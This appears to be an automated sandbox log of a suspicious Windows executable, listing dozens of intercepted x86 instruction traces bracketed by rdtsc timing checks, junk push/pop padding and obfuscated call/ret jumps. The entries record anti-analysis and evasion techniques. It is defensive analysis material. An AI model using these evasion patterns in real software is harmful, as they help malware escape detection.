Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D3515 second address: 8D352A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F07BCC9CC38h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D352A second address: 8D352E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D352E second address: 8D358A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCC9CC47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f jng 00007F07BCC9CC3Ch 0x00000015 jns 00007F07BCC9CC36h 0x0000001b pop eax 0x0000001c mov eax, dword ptr [eax] 0x0000001e jmp 00007F07BCC9CC49h 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F07BCC9CC3Dh 0x0000002e rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D358A second address: 8D3620 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD769Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [ebp+122D1E4Ch], eax 0x00000010 push 00000003h 0x00000012 mov edi, ecx 0x00000014 pushad 0x00000015 mov dword ptr [ebp+122D1E1Bh], esi 0x0000001b stc 0x0000001c popad 0x0000001d push 00000000h 0x0000001f mov esi, 119C600Dh 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push ebp 0x00000029 call 00007F07BCDD7698h 0x0000002e pop ebp 0x0000002f mov dword ptr [esp+04h], ebp 0x00000033 add dword ptr [esp+04h], 00000018h 0x0000003b inc ebp 0x0000003c push ebp 0x0000003d ret 0x0000003e pop ebp 0x0000003f ret 0x00000040 mov dword ptr [ebp+122D2633h], eax 0x00000046 mov di, 182Dh 0x0000004a push CD4B7381h 0x0000004f push edi 0x00000050 jmp 00007F07BCDD76A9h 0x00000055 pop edi 0x00000056 xor dword ptr [esp], 0D4B7381h 0x0000005d mov edi, 1616C92Dh 0x00000062 lea ebx, dword ptr [ebp+12458347h] 0x00000068 cmc 0x00000069 xchg eax, ebx 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e jno 00007F07BCDD7696h 0x00000074 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D3620 second address: 8D3626 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D3626 second address: 8D3650 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F07BCDD7696h 0x00000009 jbe 00007F07BCDD7696h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F07BCDD76A5h 0x0000001a rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D36C6 second address: 8D36D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F07BCC9CC3Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D37C1 second address: 8D3839 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F07BCDD7696h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 push ecx 0x00000011 pushad 0x00000012 jmp 00007F07BCDD769Ah 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f jmp 00007F07BCDD76A6h 0x00000024 pop eax 0x00000025 call 00007F07BCDD76A0h 0x0000002a cmc 0x0000002b pop ecx 0x0000002c lea ebx, dword ptr [ebp+12458350h] 0x00000032 mov cx, 74CBh 0x00000036 call 00007F07BCDD76A5h 0x0000003b mov edx, dword ptr [ebp+122D2C0Dh] 0x00000041 pop ecx 0x00000042 xchg eax, ebx 0x00000043 pushad 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D3839 second address: 8D3876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jns 00007F07BCC9CC3Ch 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F07BCC9CC3Dh 0x00000016 jmp 00007F07BCC9CC44h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D3876 second address: 8D387A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D38CE second address: 8D38D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D38D2 second address: 8D3934 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD769Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F07BCDD769Ch 0x0000000f popad 0x00000010 push eax 0x00000011 jnc 00007F07BCDD769Ah 0x00000017 nop 0x00000018 movsx edi, bx 0x0000001b xor ecx, dword ptr [ebp+122D2D81h] 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push esi 0x00000026 call 00007F07BCDD7698h 0x0000002b pop esi 0x0000002c mov dword ptr [esp+04h], esi 0x00000030 add dword ptr [esp+04h], 0000001Ah 0x00000038 inc esi 0x00000039 push esi 0x0000003a ret 0x0000003b pop esi 0x0000003c ret 0x0000003d mov esi, edx 0x0000003f push 45422503h 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 push ebx 0x00000048 pop ebx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D3934 second address: 8D3939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D3939 second address: 8D393F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D393F second address: 8D3991 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 45422583h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F07BCC9CC38h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 sbb edx, 77522900h 0x0000002f push 00000003h 0x00000031 clc 0x00000032 push edx 0x00000033 xor dword ptr [ebp+122D31BBh], esi 0x00000039 pop edx 0x0000003a push 00000000h 0x0000003c push eax 0x0000003d pop esi 0x0000003e push 00000003h 0x00000040 mov esi, ebx 0x00000042 push EA96AA61h 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D3991 second address: 8D39E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F07BCDD769Ch 0x0000000c ja 00007F07BCDD7696h 0x00000012 popad 0x00000013 xor dword ptr [esp], 2A96AA61h 0x0000001a mov edx, 5DE6A896h 0x0000001f lea ebx, dword ptr [ebp+1245835Bh] 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007F07BCDD7698h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 00000017h 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f adc edi, 64A80FC5h 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a jne 00007F07BCDD7696h 0x00000050 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D39E6 second address: 8D39EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D39EA second address: 8D39F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8E5D20 second address: 8E5D36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F07BCC9CC3Eh 0x0000000d rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F57E6 second address: 8F57F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop edx 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop esi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F57F9 second address: 8F5800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F5800 second address: 8F580F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jns 00007F07BCDD7696h 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F38F0 second address: 8F38FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jng 00007F07BCC9CC36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F3EC9 second address: 8F3EE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD76A1h 0x00000007 jbe 00007F07BCDD769Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F402E second address: 8F4046 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCC9CC42h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F4046 second address: 8F404A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F44F7 second address: 8F44FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8EA0F2 second address: 8EA0F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8EA0F6 second address: 8EA0FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F4A0E second address: 8F4A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F4A16 second address: 8F4A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F4A1C second address: 8F4A21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F8E3F second address: 8F8E49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F8F2E second address: 8F8F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F07BCDD7696h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F8F39 second address: 8F8F3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F8F3F second address: 8F8F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F7D91 second address: 8F7D9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F7D9B second address: 8F7DA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F07BCDD7696h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F9044 second address: 8F907E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F07BCC9CC38h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F07BCC9CC3Ch 0x00000013 mov eax, dword ptr [eax] 0x00000015 jmp 00007F07BCC9CC43h 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F907E second address: 8F9082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F9082 second address: 8F9091 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F07BCC9CC36h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F91AD second address: 8F91B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8F91B1 second address: 8F91B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8FA497 second address: 8FA4E1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F07BCDD76A1h 0x00000008 jmp 00007F07BCDD76A4h 0x0000000d pop esi 0x0000000e pushad 0x0000000f js 00007F07BCDD7696h 0x00000015 jmp 00007F07BCDD76A6h 0x0000001a push esi 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8FA4E1 second address: 8FA4F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jl 00007F07BCC9CC36h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8FA4F6 second address: 8FA4FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8C37A7 second address: 8C37B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCC9CC3Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8C37B6 second address: 8C37C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F07BCDD7696h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8B2B98 second address: 8B2BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F07BCC9CC36h 0x0000000a popad 0x0000000b jmp 00007F07BCC9CC49h 0x00000010 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8B2BBC second address: 8B2BCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F07BCDD7696h 0x00000009 je 00007F07BCDD7696h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 901C79 second address: 901C7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 901C7D second address: 901C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 901F00 second address: 901F04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 901F04 second address: 901F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 901F0F second address: 901F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F07BCC9CC3Fh 0x0000000f jng 00007F07BCC9CC36h 0x00000015 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 901F2E second address: 901F4E instructions: 0x00000000 rdtsc 0x00000002 je 00007F07BCDD7696h 0x00000008 jmp 00007F07BCDD76A2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 901F4E second address: 901F64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F07BCC9CC3Ch 0x00000009 jnp 00007F07BCC9CC36h 0x0000000f rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 901F64 second address: 901F74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD769Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 901F74 second address: 901F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F07BCC9CC3Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 9020B3 second address: 9020CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F07BCDD76A7h 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 9020CF second address: 9020EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCC9CC3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e jl 00007F07BCC9CC3Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 904933 second address: 90494B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCDD76A3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 9049FC second address: 904A3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 js 00007F07BCC9CC36h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 3EF30100h 0x00000013 or dword ptr [ebp+122D29B1h], eax 0x00000019 call 00007F07BCC9CC39h 0x0000001e pushad 0x0000001f jc 00007F07BCC9CC38h 0x00000025 push edi 0x00000026 pop edi 0x00000027 jc 00007F07BCC9CC40h 0x0000002d jmp 00007F07BCC9CC3Ah 0x00000032 popad 0x00000033 push eax 0x00000034 pushad 0x00000035 pushad 0x00000036 pushad 0x00000037 popad 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 904A3F second address: 904A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F07BCDD769Fh 0x0000000b jmp 00007F07BCDD76A7h 0x00000010 popad 0x00000011 popad 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007F07BCDD769Bh 0x0000001b mov eax, dword ptr [eax] 0x0000001d push ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 904D6F second address: 904D76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 904E1F second address: 904E25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 904E25 second address: 904E29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 904F15 second address: 904F1A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 9050C6 second address: 9050D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 90514C second address: 90515D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F07BCDD7696h 0x00000011 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 90515D second address: 905161 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 905713 second address: 905738 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD76A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b jl 00007F07BCDD769Eh 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 908DE2 second address: 908DF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F07BCC9CC38h 0x0000000f rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 908DF3 second address: 908DF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 908DF8 second address: 908E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F07BCC9CC36h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F07BCC9CC38h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 mov edi, dword ptr [ebp+122D2322h] 0x0000002e push 00000000h 0x00000030 mov edi, dword ptr [ebp+122D2DB9h] 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b call 00007F07BCC9CC38h 0x00000040 pop ebx 0x00000041 mov dword ptr [esp+04h], ebx 0x00000045 add dword ptr [esp+04h], 00000019h 0x0000004d inc ebx 0x0000004e push ebx 0x0000004f ret 0x00000050 pop ebx 0x00000051 ret 0x00000052 mov dword ptr [ebp+122D1E0Dh], edx 0x00000058 mov dword ptr [ebp+122D3196h], edi 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F07BCC9CC3Ch 0x00000066 rdtsc
